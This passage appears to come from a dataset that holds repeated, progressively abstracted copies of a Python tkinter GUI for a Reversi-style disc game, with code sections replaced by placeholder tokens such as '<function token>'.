self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n <function token>\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n <function token>\n <function token>\n <function token>\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Game(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 